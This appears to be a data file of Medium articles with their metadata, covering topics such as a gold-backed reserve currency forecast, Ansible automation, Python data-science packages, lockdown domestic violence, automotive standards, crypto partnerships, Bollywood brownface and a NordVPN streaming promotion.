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Gold Based Monetary System Will Change The Global Economy | A new reserve currency is inevitable…the dollar-gold relationship is more critical now than ever.
StephenLeeb.com
Gold Based Monetary System And The Dollar
When it comes to forecasting a gold-based monetary system, I never want to be complacent, so I’m always eager to find intelligent people who disagree with me and challenge my thinking. Recently I listened to an interview with a credible gold strategist who didn’t foresee the kinds of sizzling gains in gold that I believe lie ahead. His reason: To predict sky-high gold — as distinct from making comparable predictions for particular stocks — would be tantamount to predicting a major change in the entire global economic system.
Amen. He’s right in thinking that for gold to soar into the stratosphere, it will take a catalyst that implies a major worldwide change. Where we disagree is that I believe such a catalyst isn’t far off.
The one I’ve focused on is a new reserve currency based on gold. Clearly, that implies a very different role for the dollar than the one it has today. What’s striking and revealing is how the financial markets confirm this insight into the dollar/gold relationship. While it’s true that interest rates, both real and nominal, often correlate with gold, the dollar has long been and continues to be the real driver of gold prices. Over shorter- and longer-term time frames alike, nothing correlates more closely with gold than the dollar.
Gold began to trade freely in the U.S. at the beginning of 1975, although foreign trading began earlier, after Nixon, in 1971, took us off the gold standard that had fixed gold at $35 an ounce. Between the end of 1971 and the end of 1974, gold climbed more than sixfold. At the end of 1974, the consensus was that the gains would accelerate as Americans were allowed to trade the metal on the COMEX…
Surprise, surprise. Instead, gold’s rally faltered in early 1975 and then turned into a major correction. To explain why there was a lot of chatter about the metal having already anticipated the entry of American traders into the market. That’s the kind of chatter you always hear when no one has any idea of what is actually going on.
What was going on? The salient fact was that gold’s rally had been accompanied by a steady drop in the dollar, which had started when the two currencies were delinked. It’s a pas de deux that has remained constant for more than half a century.
In mid-1976, gold bottomed after correcting more than 45%. The rally in the dollar that had been taking place stopped in its tracks almost to the day gold bottomed. The dollar continued to slide until early 1980, coincident with gold’s peak near $800. Then the dollar rallied through the mid-1980. Along the way, it taught gold votaries a bitter lesson. That lesson: In the rare instance when the dollar and gold are moving in sync, it will prove to be a trap. When stocks bottomed in August 1982, virtually all financial assets including gold took off. But while that rally in gold was powerful, it was short-lived. By the time the dollar made a major top in the first quarter of 1985, gold was trading below $300.
Jumping ahead, the historic bottom for the yellow metal occurred in 1999 in the $250 area. Gold was locked in a narrow range until the dollar topped in late 2001. Then gold took off like a rocket, reaching $1900 in 2011, which was another bottom for the dollar. Worth mentioning is that although since the start of this century gold has outperformed other commodities by a wide margin, there have been times — we are living through one of them now — in which commodities sharply outperformed gold.
Today the dollar-gold relationship is more critical than ever. Recently I’ve been staying up into the early morning hours watching the dollar so that I’ll know what gold will do. And while I’m not normally prone to suspect conspiracies, it is hard to ignore the curious fact that over the past month or so, every meaningful gain in the dollar has occurred outside of regular trading hours in U.S. markets. An exception was the big dollar rally a few weeks ago following the Fed’s comments about possibly raising rates sooner than anticipated.
In the past, J.P. Morgan and others haven’t just been accused of manipulating markets, they’ve been caught doing so and paid fines. Those transgressions mainly involved manipulating gold and silver rather than fiat currencies. But one consequence of Basel III is much less leverage in the gold market, which makes it harder and riskier to manipulate…
I don’t know whether the recent trading patterns are coincidences or actual manipulation, but I mention it because the stakes of keeping the dollar from a steep drop are enormous. A major drop in the greenback would have major consequences for the U.S.
Since the 2008–09 financial crisis, the Fed’s balance sheet has grown about fourfold to $8 trillion. Some call this debt monetization. Whatever you call it, the Fed’s purchases of debt have artificially lowered long-term interest rates. Real interest rates are now negative, meaning holders of U.S. debt are receiving a negative return after inflation. At the same time, U.S. debt held by foreigners is at a record $7 trillion, far more than any other country. And there are trillions of dollars more in debt we will need to issue — trillions more that will have to be purchased by the Fed and foreigners.
Given rising commodity prices, surging home prices courtesy of artificially low interest rates, and structural shortages of blue-collar labor, the case for higher-than-expected inflation is strong. Common sense tells us that foreigners will grow increasingly reluctant to purchase great quantities of ever-growing U.S. debt. Indeed, at some point, they will be sellers. The buyer of last resort is the Fed, and that means further suppression of long-term rates and real rates that become more negative. This ugly vicious circle will be hard to avoid. An inevitable end point is a dollar that becomes ever costlier to hold. There are bad scenarios and worse scenarios, but there is no scenario in which the dollar can remain the reserve currency.
The Coming Gold-Based Monetary System
The half-century relationship between the dollar and gold that I traced above exists because gold is the only currency the financial markets regard as a rival to the dollar. The market’s message is that when the dollar fails, gold will have a major role in a new monetary system. This gold-based monetary system of the future, however, will be different from in the past. The last time the world was on a gold standard was the generation after WWII, when the U.S. enjoyed one of the strongest economic performances any country has ever experienced. This time around the world economy is much bigger and commodities are becoming scarce, which means the Bretton Woods model will have to be modified. Instead of a single currency being backed by gold, it will be a basket of currencies backed by gold. And a growing world in combination with scarcer commodities means that rather than being fixed, gold’s price will need to rise to accommodate changing conditions
A new reserve currency is inevitable. We can try to fight it, to stall for time, which is what we apparently are doing at the moment. Or more fruitfully, we could agree to cooperate with other major economies — including China — in establishing a new system. The longer we wait, the worse the probable outcome for us…
China is clearly fast-tracking its preparation for the coming inflection point. It is testing a digital yuan, which will soon become the first digital currency for a country. Thanks to advances in fintech such as blockchain, trading digitally will be less cumbersome and more reliable than current systems. And a digital yuan or for that matter the yuan itself is de facto backed by gold. Any Chinese citizen can exchange yuan for gold in the Shanghai gold exchange. Foreigners can also exchange yuan for gold on the international Shanghai exchange.
The question isn’t whether we will have a new monetary system but how soon. The train is in the station and getting ready to depart, and the longer we wait and try to resist, the less likely we will be able to get aboard as a major participant.
And whatever you might think about China, if you step back, you will see that despite its authoritarian political system, China isn’t motivated by trying to beat us. China has taken all our blows. Hardly a day goes by without our announcing another sanction. While some have hurt China, none have crippled it. Even Huawei remains a market leader in critical technologies. But realize that China — other than with some rough rhetoric — has not really responded in kind. It could, if it chose, take potentially crippling actions in markets it controls — for example, shutting us out from rare earths (critical in high tech including in advanced military hardware) or withholding polysilicon, necessary for producing solar panels and most semiconductor circuit boards.
Or, most dramatically, it could strike at Taiwan — not a military assault but a crippling strike against Taiwan Semiconductor, arguably the world’s most important company and the hub of Taiwan’s technologies. Realize that 80% of an iPhone’s parts are made in Taiwan. Sabotaging the company via cyber tools or other means is well within China’s capabilities. Without Taiwan Semiconductor, Taiwan would become a shadow of itself, and it wouldn’t require military force to take it over. Also, consider how willingly China accepted it when we sanctioned it from buying from Taiwan Semiconductor.
Its restraint so far suggests that China would welcome us in joining a new monetary order that could end up being a win-win. I certainly have no love of China’s authoritarian political system, and if I thought that cooperating with China in any way implies a new form of government for the U.S., I would never have given this interview. What does worry me, though, and worry me a lot, are the potential consequences to our country’s economic future and standing if we fail to cooperate.
For investors, however, the current situation points to one clear message: | https://wire.insiderfinance.io/gold-based-monetary-system-will-change-the-global-economy-3abb0e1e5fad | ['Dr. Stephen Leeb'] | 2021-09-16 18:58:48.374000+00:00 | ['Globalization', 'Gold', 'Money', 'Economy', 'Currency'] |
Your Cleft Journey: Your Beauty | It was joy. It was relief. It was love.
You were finally here. You were almost a week late. It was a Thursday morning, the last day of February. I started having contractions the night before, but they never got any stronger or faster. So, following the pattern your older siblings set before you, the doctors had to help things along.
I received successful epidurals in the past, but for some reason, this one did not work. I was feeling everything, except for my right thigh, and it was too late to do anything about it. So, after a couple of hours of the most painful contractions I had ever felt, lots of pushing, and scolding of my loud screams by the doctor, out you came sunny-side-up.
They placed you on my chest, and those familiar strong emotions flooded my entire being. I was in love. You were a little blue so they took you to the warmer to get you stable. Your Daddy never took his eyes off of you, and he buried his head in your Gigi’s shoulder and wept tears of relief and joy. Kelsey, my doula and friend, came to tell me the amazing news: your palate was intact! Praise be to God! He had heard our prayers.
Of course, I noticed your cleft when I first saw you, but what I noticed more was how much you resembled your older sister, the thick tuft of light brown hair atop your head, your chubby cheeks, and baby blue eyes. You were ours, all 9 lbs 2 oz of you. Our little beauty. I loved you fiercely.
I knew then the journey would be messy, imperfect, and full of mountains to climb, but I also knew this: God made you and He loved you. You were His masterpiece and you were beautiful. Your journey would be beautiful because you are beautiful. | https://medium.com/plans-to-prosper/your-cleft-journey-your-beauty-30f35fdd93d | ['Erin Hillyard'] | 2019-07-25 01:24:08.723000+00:00 | ['Birth', 'Cleft', 'Baby', 'Cleft Lip', 'Pregnancy'] |
This Article will give you an Idea that how advancement and Automation made the Configuration of… | This Article will give you an Idea that how advancement and Automation made the Configuration of System an easy task. Here we will talk about “Automation Using Ansible”, and How Trivago, an international Hotel and Travelling Agency using Ansible to get Automated Operability and Availability of Service with lower latency with best deals to the customers.
Automation is there in the world of IT from decades but Ansible is mainly designed for “Configuration Management”, the tool come to market with High Scalability and ability to kick Start the business, without giving high wages to employees and just Making Scripts to keep on configuring each node started by the Load Balancers.
Now the question arises what all Ansible is providing as automation, Can we rely on it for all the Steps of Configuration Management ?
The answer is Straight forward but let’s understand by the features of Ansible :-
1️⃣ Configuration Management :
Ansible used to centralized the Configuration using file management for the common steps used for configuring a particular Software inside a System. Only we need to declare the Steps / Tasks inside a file that is further run to deploy the instructions on a particular or a group of System.
2️⃣ Application Deployment :
From development to Production all the life cycle could be achieved and managed efficiently using Ansible. Just one need to define their set of Application in Ansible then the deployment is done with “Ansible Tower”.
3️⃣ Provisioning :
Application can be deployed or installed on system using Ansible. Even the Red Hat Ansible tower helps in the process of Provisioning System, Either you have to start the bare metal or virtual machine or an instance over cloud.
4️⃣ Continuous Delivery:
Ansible Playbook keep the application deployment proper and manage throughout the entire life Cycle, even can be use in Sage Maker.
5️⃣ Security and Compliance:
Scanning and Remediation of site wide security policies can be integrated into other automated processes. The security policies must be defined inside the Ansible Playbook to be deployed on the Target / Managed System.
6️⃣ Orchestration :
The interaction of multiple configured system must be defined, here I mean the link between different set of Tasks to be performed to completely install or configure an Application. Example: If an apache web server is been configured inside target nodes then the steps performed one after the other must be integrated and have to move serially.
7️⃣ Idempotence Nature:
If a mentioned Task in Ansible Playbook is done already then to save the resources Ansible has various modules which are idempotent in nature. For managing the Idempotence behavior with other modules ansible has a concept named “Handler”.
8️⃣ Replication :
Configuration management makes it easy to replicate environments with the exact same software and configurations. This enables you to effectively build a multistage ecosystem, with production, development, and testing servers.
9️⃣ Abstraction :
Ansible works on RAL concept i.e Resource Abstraction Layer. The modules and Ansible Architecture itself is built to support this. It uses concept of IAS i.e Infrastructure as Code. Which will work on all the Types of Operation System with any kind of version.
Concluding all the Above features we can Now say that :
“ Ansible is an Open Source automation Platform. It is a simple automation language that can perfectly described as IT application infrastructure in Ansible Playbook. It is also an automation engine that runs Ansible Playbooks.
Ansible can manage powerful automation tasks and can adapt to many different workflows and environment.”
Some Other Facts about Ansible:
✔ Ansible Playbooks are human readable automation code that perfectly describe an IT application infrastructure Configuration.
✔ Ansible is Agentless: i.e. it connect to hosts to manage the configuration/provisioning/monitoring using protocols Like OpenSSH or WinRM to run a set of task. Only the host need to have the Specified Modules which internally append with Ansible code (playbook) and achieve the required tasks.
✔ Agentless Architecture and work on Push Mechanism. Administrator can use Ansible playbook / Ad Hoc Commands
✔ Playbooks are designed to be idempotent. To run Arbitrary commands we have multiple modules available
✔ Ansible is framed on Python Language. Founder/Developer of Ansible: Michael Dehaan
✔ Ansible is a part of DevOps Tool Stack Kit which is used for Configuration management. Ansible could be defined as “Language of DevOps” which helps Operation team and even development team to configure the setup for Testing or Production at any point of time by simply running a playbook with Static or dynamic inventory support.
✔ The perfect description of application could be done by Ansible Playbook with all the aspects of application environment can be described and documented. Ansible Playbooks are just a plaintext files that runs regardless of the location of the infrastructure. These Playbooks are written in YAML format in text files.
✔ The Ansible Architecture is agentless which is most suited to get the application deployed of the configured environment and get “FAST TO MARKET” which is the only goal of this tool. | https://medium.com/@akanksha77/this-article-will-give-you-an-idea-that-how-advancement-and-automation-made-the-configuration-of-62b15ad680ea | ['Akanksha Singh'] | 2020-12-06 11:06:23.761000+00:00 | ['Trivago', 'Article Writing', 'Ansible', 'Ansible Playbook'] |
3 Python Packages that make Data Science Simple | 1.Mito
Mito is a spreadsheet front-end for Python. You can call Mito into your Jupyter Notebook and each edit you make in the front-end will generate the equivalent Python.
Here is a video demo:
To install Mito, use these three commands:
python -m pip install mitoinstaller
python -m mitoinstaller install
python -m jupyter lab
Here is a link to the full install instructions.
Mito is a great package for slicing and dicing your data. Mito allows the users to create interactive pivot tables and graphs with just a few clicks.
Mito pivot tables are a great way to see relationships between different variables and group the data in a way that makes insights more apparent.
You can configure a Mito pivot table by selecting the Pivot button from the toolbar and then choosing your rows, columns, values and aggregation types.
Each edit in Mito generates the equivalent Python in the code cell below. It is a much faster way of producing code than constantly heading to Stack Overflow to find the correct syntax.
The pivot table above generates this code and auto-comments it as well!
Mito does not just generate the code for pivot tables. In Mito, you can merge datasets, filter, sort, use functions, look at summary statistics, and more — and Mito will generate the equivalent Python for each of these edits.
Mito also allows the users to generate dynamic Plotly charts without any coding required. Plotly is an amazing Python graphing package.
To create a Plotly chart, all the user has to do is click the graph button and select their axes.
Here is Mito’s full documentation.
2.Pandas Profiling
Pandas Profiling takes the df.describe() function from Pandas and elaborates on the functionality, providing amazing summary information for a dataframe quickly and efficiently.
Pandas Profiling is a great tool for exploratory data analysis.
You can install the package locally with these commands:
import sys
!{sys.executable} -m pip install -U pandas-profiling[notebook]
!jupyter nbextension enable --py widgetsnbextension
Pandas Profiling provides advanced summary statistics and information for a dataset with out having to write very much code at all.
Here it the full description of the Pandas Profiling functionality, as described on the documentation website:
Two really powerful features are the reports on Missing Values and Descriptive Statistics. When analyzing a new dataset, handling missing values can be a pain. Pandas Profiling makes this process much easier. The descriptive statistics are great for understanding the dataset more in depth before proceeding in your analysis.
3.Lux
Lux is a great package for visualizing data. The tedium of getting the code exactly correct to make the chart you want can be a large time sink. Lux recommends graphs for you, that you can select with a click of a button.
Lux can be applied to any dataframe and will automatically suggest graphs that the user can choose from.
The users can also use the intent function to pass in the columns they are interested in exploring and Lux will automatically suggest graphs.
Lux can be installed with a simple line of Python:
**pip install lux-api**
I hope these packages are helpful. If you have any comments or questions, please leave a reply — or reach out to me: jake@sagacollab.com :) | https://medium.com/analytics-vidhya/3-python-packages-that-make-data-science-simple-40744de22592 | ['Jake Mito'] | 2021-08-01 15:19:20.457000+00:00 | ['Data Science', 'Python', 'GUI', 'Exploratory Data Analysis', 'Data'] |
A Healthy Relationship Is Beyond Having A Loving Partner | Lockdown and ‘Intimate Terrorism’.
As cities and towns across China locked down, a 26-year-old woman named Lele found herself entangled in more and more arguments with her husband, with whom she now had to spend every hour in their home in Anhui Province, in eastern China.
On March 1, while Lele was holding her 11-month-old daughter, her husband began to beat her with a high chair. She is not sure how many times he hit her. Eventually, she says, one of her legs lost feeling and she fell to the ground, still holding the baby in her arms.
A photograph she took after the incident shows the high chair lying on the floor in pieces, two of its metal legs snapped off — evidence of the force with which her husband wielded it against her. Another image documents Lele’s injuries: Nearly every inch of her lower legs was covered in bruises, a huge hematoma blooming on her left calf.
Lele — her full name is not being used for her safety — said that her husband had abused her throughout their six-year relationship, but that the COVID-19 outbreak made things far worse.
“During the epidemic, we could not go outside, and our conflicts just grew bigger and bigger and more and more frequent,” she said. “Everything was exposed.”
Intimate partner violence is global rather than local development. Women in most countries of the world - those who could speak out and have the data collected - suffered in the hands of their supposed love partners now turned abusers.
In the Hubei province of China, domestic violence reports to police more than tripled compared to the previous year, jumping from 47 cases in February 2019 to 162 cases in February 2020.
In India, the National Commission for Women (NCW) has seen a more than twofold rise in gender-based violence during the lockdown in India. Between 23 March and 16 April, NCW registered 587 domestic violence complaints, a ~45% increase from the previous 25 days.
The Childline India helpline received over 92,000 calls between 20–31 March, the start of India’s lockdown, asking for protection from abuse and violence. The extended confinement has also trapped children with their abusers at home.
In Turkey, activists have reported that the killing of women has risen sharply since the first stay-at-home order was issued on 11 March, with at least 12 women killed between the stay-at-home order and the end of the month. The head of the Turkish Federation of Women’s Associations echoed these comments, stating that the emergency hotlines had a surge of callers amid the outbreak, with physical and psychological abuse being the most identified. | https://medium.com/live-your-life-on-purpose/a-healthy-relationship-is-beyond-having-a-loving-partner-a87c487d77bf | ['Joshua Idegbere'] | 2020-12-17 04:32:27.363000+00:00 | ['Domestic Violence', 'Relationships', 'Marriage', 'Women', 'Advice'] |
WICV2020 | German Automobile Associations VDA Strengthens Collaboration with China Ecosystem | Good morning everyone! it is a great honor to participate in our theme forum today. First of all, I want to introduce to you the conclusions of our current research, and I will discuss today’s topic again.
Speaking of the VDA organization, I would like to give you a brief introduction. Just now we heard Mr. Li’s speech mentioned that we need to strengthen cooperation. We very much agree with this view. For example, we have seen that German automobile companies have always cooperated very closely with related parties of Chinese automobile companies. For another example, Cartel Germany also has related branches, which once again proves the importance of cooperation. This leads me to my speech today. Why do I want to give you a speech today? Let me give you a brief introduction first. The headquarters of the VDA German Automobile Industry Association is located in Berlin, the capital of Germany. We were founded in 1901. We had our headquarters in Frankfurt before 2010 and later moved to Berlin, the capital of Germany.
We are an institution that can influence the German government in terms of automobile policy, but for us, it is not enough to focus on the internal situation in Germany. We need to go out, so we have also set up offices overseas. In addition to Beijing, We also set up an office in Brussels. China is a very important automotive market. Therefore, we came to China six or seven years ago and set up an overseas office in Beijing. So far, we have a total of more than 600 member companies. In addition, these member companies include not only automakers, but also others, such as suppliers and component suppliers. We can basically cover the entire automobile production process. square.
Recently, our organization has undergone a certain reorganization in October. So far, we now have 1 chairman and 4 Managing Directors, because we hope to fully represent the situation of the entire industry and we also hope to handle our overseas offices well. Therefore, we have set up 4 managing directors. Especially under the premise that automation has become a new trend, there are extremely many working groups. Therefore, we hope that the interests of various suppliers can be well represented in the entire supply chain. We have also organized many top events in the automotive industry, including next year we will organize a series of important events such as car exhibitions, including many important customers, as well as suppliers, dealers and car companies will participate.
Let me introduce to you VDA’s work. The main content of our work has been in the past many years. We have fully represented the German automotive industry in Germany and international standards development organizations. The automotive industry is very important. Moreover, the automotive industry involves many sub-fields, so we are responsible for this part of the work, covering various issues in the automotive field. Including standardized work, formulation, tool development, etc. In addition, the standardization department of VDA is equivalent to that of the German Automotive Technical Standards Committee. We all know that standards and regulations are very critical to the automotive industry. In the entire automotive industry, there are many different stakeholders. On the one hand, they are producers, automakers, and car companies. But for automakers, they will face many difficulties and challenges, such as pollution, noise, etc., so we need to introduce laws and regulations to carry out relevant regulations and carry out relevant supervision.
At the other end of the industry, we see that there is a product side, and the product side requires the participation of suppliers. We will see a lot of competition, so we need to continuously optimize various processes, such as production processes, we need to set standards for related optimization work. These standards actually have similarities and differences, and hope to cover all aspects of the entire automotive industry. We hope to find a good balance between standards and specifications.
Let’s take a look at the differences between standards and regulations. This is mainly an introduction from a German perspective. For example, let’s look at laws and regulations first. Laws and regulations are more concerned with personal safety and environmental safety, these social benefits. Because when we are driving, not only do we drive ourselves, but you will have an impact on many surrounding environments and individuals. We can also represent the most advanced technology in a standard way. This is the difference between standards and regulations. Products have different prices. Therefore, certain standards must be adopted to control the quality and cost of products. This is also an aspect of the standards.
All in all, the standard is to support different manufacturers and car companies to fulfill their related obligations and urge them to complete their obligations themselves. For example, the two pictures shown for you are car seats. Children’s chairs need standards to regulate some of the details. For example, there are many standard details about how to set the seat belt on the car seat. Of course, the final consumer decides whether to buy such a product, but at least such a product should be provided to consumers to make such a choice, which involves standards. Regulations must be followed, but standards are selective. I would like to introduce you to the German national future travel platform. Today we are discussing intelligent connected vehicles. For intelligent connected vehicles, including standard specifications, Is a very critical element. Especially in Germany and other countries, such as China, we see that car leasing, online car-hailing, etc. are all very new trends. These require a unified integration platform from a technical perspective or from other perspectives. , We hope to integrate these elements into research and products.
We need to introduce digital technology, we also need to introduce a lot of experts and human resources, so from a social perspective, how do we introduce these technical experts and professionals to decision makers, and only then can we find the best Solutions to solve various complex problems faced by the automotive industry. This is the significance of our establishment of such a platform, which can integrate the opinions and discussions of all parties to solve many technical, legal and social problems and challenges.
This is the structure of the travel platform we just mentioned. Here is a simple chart for everyone, which is very intuitive. The entire NPM is highly systemic and consists of different working groups. Everyone knows that digitization and standardization are very important elements, so you can see that we have set up a special working group, the third working group and the third working group. The six working groups are respectively responsible for digitization and standardization. We hope to cover the most critical topics in the development of the entire automotive field by setting up different working groups.
Now let me introduce these two working groups specifically for you. The first is the third working group that I just created, the digital working group. The work of the Digitization Working Group covers all aspects of digitization. On the one hand, it ensures emission reduction and sustainable development. At the same time, it hopes to meet personal travel needs and to continuously improve travel efficiency and safety. In addition, suggestions will be made to government decision-making departments on these issues. The following is the standardization specification and certification working group. I have just introduced to you what are the characteristics of specifications and standards. This is the work content of the working group. I hope to carry out relevant coordination work, including certification work.
When it comes to intelligent connected vehicles, autonomous driving is a very important topic. In fact, ICV is a very new topic. Whether it is in Germany or other countries, ICV is just getting started. For intelligent connected vehicles, autonomous driving The testing and development of the car is very critical. You see that this is the time required for Level 3 and Level 4 autonomous driving. Now we are looking forward to the next five years from 2020–2025. We need to intensively carry out related fields. Standardization work, especially autonomous driving. What we introduce to you is the core functional standards that are underway or in the plan. These standards are consistent with our work philosophy.
I just heard the previous speakers mentioned similar topics. China has also done a lot of work on functional standards. We are also making continuous efforts in this area. We hope to eventually raise it to the level of national regulatory policies. I think we can also carry out more international cooperation and discussions in this regard. China’s approach in terms of functional standards is similar, and we are very much looking forward to having more dialogues and cooperation with China on this issue in the future. In fact, for intelligent networked vehicles, the issue of functional standards is a very difficult issue that needs to be resolved urgently. We need to increase investment in this area.
When it comes to standards, standards are not only standards for products, standards for vehicles, but also standards for testing. This is also the core content of our work, especially for intelligent networked vehicles. We hope to establish a unified test. process. Including how to set up and arrange the test roads, how to deal with special situations, and how to deal with tests under different scenarios. If we do not make a unified definition, there will be a lot of trouble. For intelligent networked vehicles, a large number of road tests will need to be carried out in the future. We need unified testing and standardized testing. We even say that we need to complete unified standards at the digital level and at the virtual level, including The same is true at the national level, one is simulation, another is verification, and the other is testing. These three tasks need to be strengthened at the national level. We also hope that the unified standard can be promoted to the world to form a global unified testing and release process.
Let’s take a look at the current automobile network composition of different regions and various parties around the world, especially the relevant standards involved in enterprises. We need a top-down approach to accomplish this work. Some companies have very strong innovation capabilities, such as Bosch. Bosch has started relevant work a long time ago. You can see that the earliest time can be traced back to the 1980s. We need to learn from such professional technology and promote it to the entire industry. As you can see, we now have more data. We need to transmit the data to the Ethernet for data analysis and calculation. In this regard, we also need to promote the formulation of relevant standards to truly realize automated standards. This must involve the expansion of vehicle standards, because now vehicles are all networked, and more stakeholders are involved. This is especially true for intelligent networked vehicles. The number of companies involved is very large. Because there are huge numbers of upstream and downstream companies in the entire industry chain, how do we ensure that these upstream and downstream companies can communicate appropriately and efficiently. Another is how to ensure that each of the different components can meet the relevant standards, all need to invest in standardization work. For example, how to complete remote applications and remote diagnosis, support, etc., these issues need to achieve the development of extended vehicle standards.
Finally, let me make a brief summary. Standardization is very critical for the entire industry, especially for improving the degree of innovation, and for enhancing competitiveness. We also hope to achieve a unified test and complete industry-friendly legislation. This means that we need to set up a globally unified timeline. Only in this way can we truly help customers and the industry complete this work and task, and ultimately achieve efficient global travel.
Thank you everyone, the above is all the content of my speech. | https://medium.com/@chinapotion/wicv2020-german-automobile-associations-vda-strengthens-collaboration-with-china-ecosystem-42e3b7acf6b5 | ['China Potion'] | 2020-11-13 00:21:43.378000+00:00 | ['Automotive', 'Autonomous Cars', 'Technology', 'Germany', 'China'] |
Christmas | Haiku is a form of poetry usually inspired by nature, which embraces simplicity. We invite all poetry lovers to have a go at composing Haiku. Be warned. You could become addicted.
Follow | https://medium.com/house-of-haiku/christmas-a4e11ae8411e | ['Kit L.'] | 2020-12-13 13:38:55.322000+00:00 | ['Poem', 'Poetry', 'Haiku', 'Writing', 'Christmas'] |
Citadel.one partners Nexus Mutual | To all DeFi communities as well as Citadel.one and Nexus Mutual users!
We are excited to announce that Citadel.one and Nexus Mutual have teamed up to research decentralized finance and will be working together on one of the most advanced DeFi digests in the field: DeFi Recap.
Together with Nexus Mutual we will be covering Derivatives. This financial sector has evolved for centuries to become one of the most popular financial tools. Follow our updates to keep up with most important governance votes, discussions, and incentives of one of the most rapidly developing DeFi fields. The general market overview, selected metrics, it’s all about our DeFi Recap.
Check our previous report:
DeFi Recap: Lending
About Nexus Mutual
Nexus Mutual uses blockchain technology to bring the mutual ethos back to insurance by creating aligned incentives through smart contract code on the Ethereum blockchain. The organization is run entirely by its members. Only members can decide which claims are valid. All member decisions are recorded and enforced by smart contracts on the Ethereum public blockchain. When joining the mutual you become a legal member of a UK company. Your membership rights will be backed by legal agreements. All members will have legal rights to the pool of funds.
Risk assessors (members who stake) stake NXM to show they think a contract is secure which then enables other members to purchase cover. Cover can be purchased on smart contracts and custodians. Risk assessors earn rewards for staking and get burned if there is a successful claim on the smart contract. Smart contract cover protects against bugs and hacks in the smart contract code. Custody cover protects against hacks where the user loses more than 10% of their funds, or if withdrawals from the custodian are halted for more than 90 days.
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The analytical dashboard provides relevant information on wallets’ balances and networks’ main metrics. In Citadel.one, we standardize the semantics, making interactions with the platform as easy as possible. The same goes for network metrics. By using universal terms, we are making it easier for users to understand and compare networks.
One of the main functions of the Citadel.one platform is participation in the PoS consensus — users can stake and delegate their assets, claim rewards, and follow the latest network proposals in the voting tab.
Citadel.one offers its users instant cryptocurrency exchange services that allow fast and secure crypto assets swap. It is also possible to buy and sell crypto with a credit or debit card. Citadel.one users can track rewards, withdrawals, transfers, and deposits across all supported networks and add comments to these transactions.
Among PoS platforms, Citadel.one supports Secret Network ($SCRT), Cosmos ($ATOM), ICON ($ICX), IOST, Orbs, and Tezos ($XTZ). We also support Ethereum, Bitcoin, and Tether ($USDT) for our users’ convenience. Mobile and desktop versions, new networks, including Polkadot and Ontology, are scheduled for the upcoming updates. Furthermore, delving into the idea of true decentralization, we envision Citadel.one a decentralized autonomous organization and a genuinely community-owned platform in the nearest future. | https://medium.com/citadel-one/citadel-one-partners-nexus-mutual-19da9afccdab | [] | 2020-12-16 06:41:22.434000+00:00 | ['Fintech', 'Insurance', 'Cryptocurrency', 'Nexus Mutual', 'Cryptocurrency Investment'] |
The Brownface Culture Of Bollywood | Do you recollect how in Gully Boy Murad is a darker looking individual notwithstanding Ranveer Singh being a genuinely fair looking person? Or then again how in Super 30, Hrithik Roshan, local Greek God, plays an earthy coloured Anand Kumar? Furthermore, how in Bala, Bhumi Pednekar as Latika Tiwari seems, by all accounts, to be a terrible parody of every dark-skinned woman in the nation? Also how a reasonably fair Alia Bhatt playing Bihari labourer has a stunning tan in Udta Punjab? That is brownface. It is the way of life of utilizing a humiliating measure of face paint to shading an individual’s skin hazier than what it truly is.
Bollywood today utilizes brownface to explicitly depict a character from a hindered foundation. Colourism, as it so exists, at that point additionally influences all different qualities of that character-their garments, way of talking, everyday environments, everything. Take Gully Boy, for example, since it is the one with most awards. Murad is a hopeful rapper living in the ghetto paths of Dharavi in Mumbai. To give him “that” look, Singh’s face was misleadingly sautéed to coordinate the character’s experience. If Murad were a widely acclaimed vocalist, his face would have been fair and beautiful. India is a tropical nation where a considerable share of ladies have a hazier appearance. However, it is continually suggested that lighter looking young ladies are better. Young ladies are alluded as ‘gori’ and ‘goriya’ in various melodies.
If you think this is awful, allow me to introduce you old-school Bollywood. In 1963, a film called Meri Surat Teri Aankhen was delivered. A turn on the maxim “excellence lies subjective depending on each person’s preferences”, it indicated Ashok Kumar as a vampire, with a “scary” face painted all-dark, living with Muslim guardians. There was just bigotry and religionism entirely subjective.
One may contend that it’s just normal for directors to project the best entertainers and shape them as per the job. That is the very idea of driving movies. Yet, this becomes dangerous when it starts to pigeonhole things. Brownface, for example, tries to connect a specific character with a specific foundation. In a nation like India which shuns dull individuals and where colourism is widespread, utilizing brownface in any event, with the end goal of portrayal accomplishes more mischief than anything.
Furthermore, we know it’s false that helpless Bollywood with its kind nature needs the best for brown-skinned individuals with storylines that try to elevate them. On the off chance that if these are the true colours of Bollywood then it would have augmented its variety and not gatekept dark-skinned actors from becoming mainstream.
The brownface issue goes beyond Bollywood’s photoshop abilities. It is extremely profound established in the Indian psyche to be tackled by a simple plot point in a film. In any case, it would do well for the business to take care of its brown paints for quite a while. Maybe for eternity. | https://medium.com/@outspokenandopinionated/the-brownface-culture-of-bollywood-bd792ec7f262 | ['Outspoken And Opinionated'] | 2020-12-11 05:02:42.789000+00:00 | ['BlackLivesMatter', 'Discrimination', 'Colorism', 'Bollywood', 'Brownface'] |
Breaking the Glass Ceiling Before Entering the Building | This story begins at my summer internship at Uber. I met some amazing people and witnessed the strong female empowerment presence there.
I was sitting in on a panel discussing women in leadership. The talk emphasized how important it is to start recognizing issues at a junior level. The design field might look even from a high level, but most leadership positions are held by men. I was sitting there thinking why aren’t we talking about this in school?
I knew why this conversation had not been started at SCAD. We are a group of students that have not faced these issues. I am a believer in being proactive rather than reactive. We should be talking about these issues before we even enter the workforce. I knew this is something I wanted to bring back from my internship.
I pitched the idea to FLUX, the SCAD UX Club, and they were more than happy to give me the platform. SCAD trains us to be great designers with hard skills. In my opinion, soft skills are just as important. I thought this would be a great opportunity to bring soft skills into the picture. | https://medium.com/scadflux/breaking-the-glass-ceiling-before-entering-the-building-ec3a32268101 | ['Sarah Beth Doncals'] | 2020-04-17 15:49:48.217000+00:00 | ['University', 'Leadership', 'Diversity', 'Ladiesthatux', 'Women In Tech'] |
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How to get Flicks And the City NordVPN discount?
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Why is NordVPN great for streaming?
Even though NordVPN is primarily a privacy protection cybersecurity software, it can also enhance your streaming experience, and here’s how. Most major streaming services use geographical restrictions when some content is available in one country, but unavailable in others. I find this frustrating because if I pay for a subscription, I’d like to get the whole product, not only parts of it. Furthermore, some countries have such poor Netflix libraries that it’s just not fair.
With NordVPN, you can change your IP address and bypass these restrictions. Streaming services usually check users IP address, which is linked to geographical location, to determine where the user is located and what library should be assigned. With NordVPN you can select a server in one of 59 countries it supports. For example, you’re in France, but want to watch a show that’s available only in USA — you select the server in the US, get a new IP address, and voila, you can watch the show.
Who else is recommending NordVPN?
